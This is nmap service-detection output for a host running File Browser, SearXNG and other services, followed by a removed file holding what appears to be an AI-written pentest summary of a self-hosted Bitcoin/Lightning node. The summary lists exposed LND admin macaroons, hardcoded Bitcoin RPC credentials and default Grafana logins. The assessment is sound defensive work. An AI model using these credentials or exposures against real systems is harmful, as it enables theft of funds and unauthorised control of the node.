SF:18\x20Mar\x202026\x2011:29:51\x20GMT\r\n\r\n<!doctype\x20html>\n<html\x
SF:20lang=\"en\">\n\x20\x20<head>\n\x20\x20\x20\x20<meta\x20charset=\"utf-
SF:8\"\x20/>\n\x20\x20\x20\x20<meta\x20http-equiv=\"X-UA-Compatible\"\x20c
SF:ontent=\"IE=edge\"\x20/>\n\x20\x20\x20\x20<meta\n\x20\x20\x20\x20\x20\x
SF:20name=\"viewport\"\n\x20\x20\x20\x20\x20\x20content=\"width=device-wid
SF:th,\x20initial-scale=1,\x20user-scalable=no\"\n\x20\x20\x20\x20/>\n\n\x
SF:20\x20\x20\x20\n\n\x20\x20\x20\x20<title>\n\x20\x20\x20\x20\x20\x20File
SF:\x20Browser\n\x20\x20\x20\x20</title>\n\n\x20\x20\x20\x20<link\n\x20\x2
SF:0\x20\x20\x20\x20rel=\"icon\"\n\x20\x20\x20\x20\x20\x20type=\"image/png
SF:\"\n\x20\x20\x20\x20\x20\x20sizes=\"32x32\"\n\x20\x20\x20\x20\x20\x20hr
SF:ef=\"/static/img/icons/favicon-32x32\.png\"\n\x20\x20\x20\x20/>\n\x20\x
SF:20\x20\x20<link\n\x20\x20\x20\x20\x20\x20rel=\"icon\"\n\x20\x20\x20\x20
SF:\x20\x20type=\"image/png\"\n\x20\x20\x20\x20\x20\x20sizes=\"16x16\"\n\x
SF:20\x20\x20\x20\x20\x20href=\"/static/img/icons/favicon-16x16\.png\"\n\x
SF:20\x20\x20\x20/>\n\n\x20\x20\x20\x20<!--\x20Add\x20to\x20home\x20screen
SF:\x20for\x20Android\x20and\x20modern\x20mobile\x20browsers\x20-->\n\x20\
SF:x20\x20\x20<link\n\x20\x20\x20\x20\x20\x20rel=\"manifest\"\n\x20\x20\x2
SF:0\x20\x20\x20id=\"manifestPlaceholder\"\n\x20\x20\x20\x20\x20\x20crosso
SF:rigin=\"use-credentials\"\n\x20\x20\x20\x20/")%r(FourOhFourRequest,198D
SF:,"HTTP/1\.0\x20200\x20OK\r\nCache-Control:\x20no-cache,\x20no-store,\x2
SF:0must-revalidate\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nX-X
SF:ss-Protection:\x201;\x20mode=block\r\nDate:\x20Wed,\x2018\x20Mar\x20202
SF:6\x2011:29:51\x20GMT\r\n\r\n<!doctype\x20html>\n<html\x20lang=\"en\">\n
SF:\x20\x20<head>\n\x20\x20\x20\x20<meta\x20charset=\"utf-8\"\x20/>\n\x20\
SF:x20\x20\x20<meta\x20http-equiv=\"X-UA-Compatible\"\x20content=\"IE=edge
SF:\"\x20/>\n\x20\x20\x20\x20<meta\n\x20\x20\x20\x20\x20\x20name=\"viewpor
SF:t\"\n\x20\x20\x20\x20\x20\x20content=\"width=device-width,\x20initial-s
SF:cale=1,\x20user-scalable=no\"\n\x20\x20\x20\x20/>\n\n\x20\x20\x20\x20\n
SF:\n\x20\x20\x20\x20<title>\n\x20\x20\x20\x20\x20\x20File\x20Browser\n\x2
SF:0\x20\x20\x20</title>\n\n\x20\x20\x20\x20<link\n\x20\x20\x20\x20\x20\x2
SF:0rel=\"icon\"\n\x20\x20\x20\x20\x20\x20type=\"image/png\"\n\x20\x20\x20
SF:\x20\x20\x20sizes=\"32x32\"\n\x20\x20\x20\x20\x20\x20href=\"/static/img
SF:/icons/favicon-32x32\.png\"\n\x20\x20\x20\x20/>\n\x20\x20\x20\x20<link\
SF:n\x20\x20\x20\x20\x20\x20rel=\"icon\"\n\x20\x20\x20\x20\x20\x20type=\"i
SF:mage/png\"\n\x20\x20\x20\x20\x20\x20sizes=\"16x16\"\n\x20\x20\x20\x20\x
SF:20\x20href=\"/static/img/icons/favicon-16x16\.png\"\n\x20\x20\x20\x20/>
SF:\n\n\x20\x20\x20\x20<!--\x20Add\x20to\x20home\x20screen\x20for\x20Andro
SF:id\x20and\x20modern\x20mobile\x20browsers\x20-->\n\x20\x20\x20\x20<link
SF:\n\x20\x20\x20\x20\x20\x20rel=\"manifest\"\n\x20\x20\x20\x20\x20\x20id=
SF:\"manifestPlaceholder\"\n\x20\x20\x20\x20\x20\x20crossorigin=\"use-cred
SF:entials\"\n\x20\x20\x20\x20/");
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port8333-TCP:V=7.98%I=7%D=3/18%Time=69BA8CB5%P=arm-apple-darwin23.6.0%r
SF:(RPCCheck,D99,"m\xfd;\x85\xbcu\x16\xe2u/A\xe0lEG\x91w\x88\x02\x92\xdaY\
SF:x8c\xb3E\x92\x98d\xe1\xab7\x87\xb6\x11&z\*\x0b\xf1dp\xb2\x838\xc5\x92\x
SF:0b\xc8\xb5\xab-\|\xf9\xdd\x12\xf1P\xab\xf3\xcc8\xf3\t\xf8\xae=\xea=/@v\
SF:xb1C\xca\xdd\xa7k\xd3\xab\xb4A\xc7w\+\x03\xc1\x01{:g\x98>\x02A\xe8\xe4\
SF:x7f~\+\xe1\xd4\xc0\xa3\xb3\$\xda\xf8\x04Xd\x80\xb2V\xd1Ngf\x96\x8d\xe3q
SF:'p\x06,\^\*\xc5\x11\xf0\?\x18\xbdO\xeb\xb0\xdbL\xfbHVSI\n\xea\xa0\xe4\x
SF:c0\xd0x\)\t\xf3Gw\xc1\xb9F\tH\x9dN\x83\x91\xe0\x16l\xc7\x1b\xfa\x9dp\xe
SF:0\x1ek\xba\xae>a\x1c-\?\x0e\x8b\x14\x02CV\x90\x1b\xc0\xed\xf7\x0c\xb1\x
SF:ea\xf2\xe9\xc2F\x8e\xe4D\xbd\xc0:\xf5s\t\x87k\xd2l\xe6\x98\x89dH\x85\x8
SF:1v\xd2\xb5\xa6\xc4\xe5u\xae\x06`\x003\(\.\xc6M\xbe\x9a\x95x\xd8\xdeg\xa
SF:d\xd6\xb0\xbf\x04\xb8n\xa2\x96\xf9\x84\xccrB\xe7\x97\x08\)\xc8\xb6\xa1\
SF:x89\xa5wk\xddN\x1c\xfa\xcf\xd0\x84\x18\x10\xd1Ex\xfe\x91\xa4\xd2d\xe4Pu
SF:V\x1fi\xc2\xd5\xfbh\*\x0c\x0fx\xdf\x97\xfeM\xdb\xa7Own\xa5\xb4\x99\x12\
SF:x04\x0c\]\xe2%\xee`\xd9\x98y\xa8\xd9J\xb0\xdf\0\xf4\\\x10\xc5\xef\x93n\
SF:xcfO\xc1\xd5\xeb7\xf8\x90\xcc\xab\xb0\x81\xb9\x06\xeb\xf0\xe2\x05\x19Ea
SF:\xc0\+jx\xec\xc5M\x85\x93\x17\x02\xe3\x8c\xc6\x94\x1e\xa3G\x06c\x18J\xc
SF:6\x0b\xdf\xfbq\$\xaa\x80\xd9\xc2\xf2\xbe\xf1U\x01\x90\xca\x9a\xb8I\xbf\
SF:xd1\xbe\x1dt\xbb\t\x1d\xdd\xb0d~\._\x11}\xb3\xfbp>Rw\*xG\xd9\x03xh\+\xd
SF:5\x96\x0c\xa7\xff\xc6\*\xbf\xd9d\xa5\xbe\x1b\xa9\xf5\xbb\x1a\xaeE\xfaaR
SF:V,Q\r\xc1\xd9\xc4\xdd\x8c\x20\"q\xc6\xc4\x7f\xe2\xac\x08M\x07Z\xc2u\x0c
SF:\xa4\x9fgA9\xad3\x03\xa4Pl\xa1\xa7\x96\x7fr\x135\+\xe8\xad\xed\xeai\xdc
SF:{M\.\xe6\xba\.\xa4\x9a\xbe\xd4\xea\xdf\xd9\xdd\x0c\xca\xf4\xdc\xc8t\xc1
SF:\x88\x9d\xa4W\x13\xec\x9e\xc33\xfbz\x18za\xc0\^\xb6\rbb6\xb5\x93\x87\x9
SF:d\x92\^\x8e\x87J\x8f\x10k\xf9\x16\xac'7\xd3\xec\]\xee\xdb\xfe@D\xc6Uz\x
SF:afQb\xefh\xc2e\xa2\xdfi\xed\xddK\xc5P\xff\xaa\x9c\xaf\x84Z!d\x9dta#\|\x
SF:d4\xb3\xcc4\x9by\xeaL\xac\xbc,\xe6\x01sL\x1c\xbb\xd7y3<%\xfe\xea8\x1e\x
SF:c1\xafE:\xff/\?\[\xd4\xdf\x07\*\xec\xe7\x18\xa8\x97\x9e\.'\.\xbc\x13\xd
SF:7w\xb4\xff\|'\.xm\x82\x8b\*\x19\xdd\x0cB\x81g_<\xdbx\xe6\xb9\xc1\xf9\x9
SF:ab\x9b\xdb\xdb\x02\+\x11\xa3\xcd\x17\xcae\x9d\x8b\xb5'\xfet\x9ey>\x9c\x
SF:8aO\xbd1\xc6\x1b\]g8,o\xe0\x0c@\xfe\xe3=\xeb\]\xfb\xb4\x92\xb7\[\xa3`\x
SF:c7I\xeey\xbb\xa0\xc0y\x1f\xef,\x0c\xe2\x17\xba\x84\xb9v\xd9\\\xbcP\x9ci
SF:\xeb\t\x958\x1d\x92\xe9\xd9\0\xed<\x97\\\xd0\x01\xe6\x91\x97\xc8Q\xe1\[
SF:\xf2\xe1\xd0\x80\xd4~k8\xbb\x04\x82B>\xfch{1\xe8\x9b\xf8\xfb\xa8\xdd\xe
SF:9\x040MF-ID`\x0f\x8a\xccv\[9q\xee\x8c\xaa\xed\xa1\xed\x80\x06Fp\t0\xc1\
SF:]C\x13\rj\nD0\x08\xa0\xdfS\xa0\xa6\xdc\xd8\xe9\xe2\xd24k\xfc\xda\xcb#d\
SF:xdcW\xf6\xd2\xc4P\xbf\x03\x88\xe4\x89\xe5\x16\xf6K\x8b\xdad\xf3:\x0f\xd
SF:0\xedI\x03\x99\xfa\x87\x18\xdb\x8b\xa3\xbc\xce\xe2\x85k\xda\xefD\x8am\x
SF:85\x80zqW\xef\x9b\0\x0bM\x07\x1c\x0e");
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port8888-TCP:V=7.98%I=7%D=3/18%Time=69BA8CB0%P=arm-apple-darwin23.6.0%r
SF:(GetRequest,19CD,"HTTP/1\.0\x20200\x20OK\r\ncontent-type:\x20text/html;
SF:\x20charset=utf-8\r\ncontent-length:\x206292\r\nserver-timing:\x20total
SF:;dur=176\.925,\x20render;dur=154\.939\r\nx-content-type-options:\x20nos
SF:niff\r\nx-download-options:\x20noopen\r\nx-robots-tag:\x20noindex,\x20n
SF:ofollow\r\nreferrer-policy:\x20no-referrer\r\nserver:\x20granian\r\ndat
SF:e:\x20Wed,\x2018\x20Mar\x202026\x2011:29:51\x20GMT\r\n\r\n<!DOCTYPE\x20
SF:html>\n<html\x20class=\"no-js\x20theme-auto\x20center-alignment-no\"\x2
SF:0lang=\"en-EN\"\x20>\n<head>\n\x20\x20<meta\x20charset=\"UTF-8\">\n\x20
SF:\x20<meta\x20name=\"endpoint\"\x20content=\"index\">\n\x20\x20<meta\x20
SF:name=\"description\"\x20content=\"SearXNG\x20\xe2\x80\x94\x20a\x20priva
SF:cy-respecting,\x20open\x20metasearch\x20engine\">\n\x20\x20<meta\x20nam
SF:e=\"keywords\"\x20content=\"SearXNG,\x20search,\x20search\x20engine,\x2
SF:0metasearch,\x20meta\x20search\">\n\x20\x20<meta\x20name=\"generator\"\
SF:x20content=\"searxng/2026\.2\.3\+f7a608703\">\n\x20\x20<meta\x20name=\"
SF:referrer\"\x20content=\"no-referrer\">\n\x20\x20<meta\x20name=\"robots\
SF:"\x20content=\"noarchive\">\n\x20\x20<meta\x20name=\"viewport\"\x20cont
SF:ent=\"width=device-width,\x20initial-scale=1\">\n\x20\x20<title>SearXNG
SF:</titl")%r(HTTPOptions,14F,"HTTP/1\.0\x20200\x20OK\r\ncontent-type:\x20
SF:text/html;\x20charset=utf-8\r\nallow:\x20GET,\x20POST,\x20OPTIONS,\x20H
SF:EAD\r\nserver-timing:\x20total;dur=1\.056,\x20render;dur=0\r\nx-content
SF:-type-options:\x20nosniff\r\nx-download-options:\x20noopen\r\nx-robots-
SF:tag:\x20noindex,\x20nofollow\r\nreferrer-policy:\x20no-referrer\r\ncont
SF:ent-length:\x200\r\nserver:\x20granian\r\ndate:\x20Wed,\x2018\x20Mar\x2
SF:02026\x2011:29:51\x20GMT\r\n\r\n")%r(FourOhFourRequest,13A3,"HTTP/1\.0\
SF:x20404\x20Not\x20Found\r\ncontent-type:\x20text/html;\x20charset=utf-8\
SF:r\ncontent-length:\x204711\r\nserver-timing:\x20total;dur=5\.729,\x20re
SF:nder;dur=4\.335\r\nx-content-type-options:\x20nosniff\r\nx-download-opt
SF:ions:\x20noopen\r\nx-robots-tag:\x20noindex,\x20nofollow\r\nreferrer-po
SF:licy:\x20no-referrer\r\nserver:\x20granian\r\ndate:\x20Wed,\x2018\x20Ma
SF:r\x202026\x2011:29:51\x20GMT\r\n\r\n<!DOCTYPE\x20html>\n<html\x20class=
SF:\"no-js\x20theme-auto\x20center-alignment-no\"\x20lang=\"en-EN\"\x20>\n
SF:<head>\n\x20\x20<meta\x20charset=\"UTF-8\">\n\x20\x20<meta\x20name=\"en
SF:dpoint\"\x20content=\"None\">\n\x20\x20<meta\x20name=\"description\"\x2
SF:0content=\"SearXNG\x20\xe2\x80\x94\x20a\x20privacy-respecting,\x20open\
SF:x20metasearch\x20engine\">\n\x20\x20<meta\x20name=\"keywords\"\x20conte
SF:nt=\"SearXNG,\x20search,\x20search\x20engine,\x20metasearch,\x20meta\x2
SF:0search\">\n\x20\x20<meta\x20name=\"generator\"\x20content=\"searxng/20
SF:26\.2\.3\+f7a608703\">\n\x20\x20<meta\x20name=\"referrer\"\x20content=\
SF:"no-referrer\">\n\x20\x20<meta\x20name=\"robots\"\x20content=\"noarchiv
SF:e\">\n\x20\x20<meta\x20name=\"viewport\"\x20content=\"width=device-widt
SF:h,\x20initial-scale=1\">\n\x20\x20<title>SearXNG</ti");
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port9000-TCP:V=7.98%I=7%D=3/18%Time=69BA8CB0%P=arm-apple-darwin23.6.0%r
SF:(GenericLines,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x
SF:20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Ba
SF:d\x20Request")%r(GetRequest,CE,"HTTP/1\.0\x20307\x20Temporary\x20Redire
SF:ct\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nLocation:\x20/tim
SF:eout\.html\r\nDate:\x20Wed,\x2018\x20Mar\x202026\x2011:29:51\x20GMT\r\n
SF:Content-Length:\x2049\r\n\r\n<a\x20href=\"/timeout\.html\">Temporary\x2
SF:0Redirect</a>\.\n\n")%r(HTTPOptions,74,"HTTP/1\.0\x20307\x20Temporary\x
SF:20Redirect\r\nLocation:\x20/timeout\.html\r\nDate:\x20Wed,\x2018\x20Mar
SF:\x202026\x2011:29:51\x20GMT\r\nContent-Length:\x200\r\n\r\n")%r(RTSPReq
SF:uest,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/pl
SF:ain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Requ
SF:est")%r(Help,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x2
SF:0text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad
SF:\x20Request")%r(SSLSessionReq,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\
SF:nContent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\
SF:r\n\r\n400\x20Bad\x20Request")%r(FourOhFourRequest,109,"HTTP/1\.0\x2040
SF:4\x20Not\x20Found\r\nCache-Control:\x20max-age=31536000\r\nContent-Type
SF::\x20text/plain;\x20charset=utf-8\r\nVary:\x20Accept-Encoding\r\nX-Cont
SF:ent-Type-Options:\x20nosniff\r\nX-Xss-Protection:\x201;\x20mode=block\r
SF:\nDate:\x20Wed,\x2018\x20Mar\x202026\x2011:30:09\x20GMT\r\nContent-Leng
SF:th:\x2019\r\n\r\n404\x20page\x20not\x20found\n")%r(LPDString,67,"HTTP/1
SF:\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x20charset
SF:=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request")%r(SIPOpti
SF:ons,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/pla
SF:in;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Reque
SF:st")%r(Socks5,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x
SF:20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Ba
SF:d\x20Request")%r(OfficeScan,A3,"HTTP/1\.1\x20400\x20Bad\x20Request:\x20
SF:missing\x20required\x20Host\x20header\r\nContent-Type:\x20text/plain;\x
SF:20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request:\x
SF:20missing\x20required\x20Host\x20header");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Mar 18 11:32:28 2026 -- 1 IP address (1 host up) scanned in 163.96 seconds

View File

@@ -1,26 +0,0 @@
Written to `loop/pentest/recon/attack-surface-analysis.md`. Here's the executive summary:
## 3 Critical Findings
1. **`/lnd-connect-info` exposes full LND admin macaroon** — unauthenticated, CORS `*`. Anyone on the LAN gets complete Lightning node control (send payments, drain channels). Confirmed live.
2. **Bitcoin RPC proxy on :8334 with hardcoded creds** (`archipelago:archipelago123`) — confirmed full mainnet `getblockchaininfo` works. If wallet is loaded, attacker can send transactions and export keys.
3. **Grafana default `admin:admin` on port 3000** — confirmed full admin access. Can query data sources and potentially pivot.
## 3 High Findings
4. **`/content` leaks personal file catalog** (names, sizes, UUIDs) without auth
5. **Nginx Proxy Manager (port 81)** directly accessible with `setup: false` state
6. **Multiple service ports (3000, 3001, 7777, 8080, 9000)** bypass nginx proxy auth
## Key Positives
- Login rate limiting works (triggers at 5 attempts)
- CORS properly rejects unauthorized origins
- Session management is solid (256-bit tokens, HttpOnly, SameSite=Strict)
- Path traversal mitigated (/.git, /.env not exposed)
- Security headers comprehensive (HSTS, CSP, X-Frame-Options)
- Bcrypt + Argon2id + ChaCha20 crypto stack is production-grade
The report covers **150+ RPC methods**, **30+ nginx proxy routes**, **10+ direct port services**, and all authentication mechanisms with confirmed live probes.

Some files were not shown because too many files have changed in this diff Show More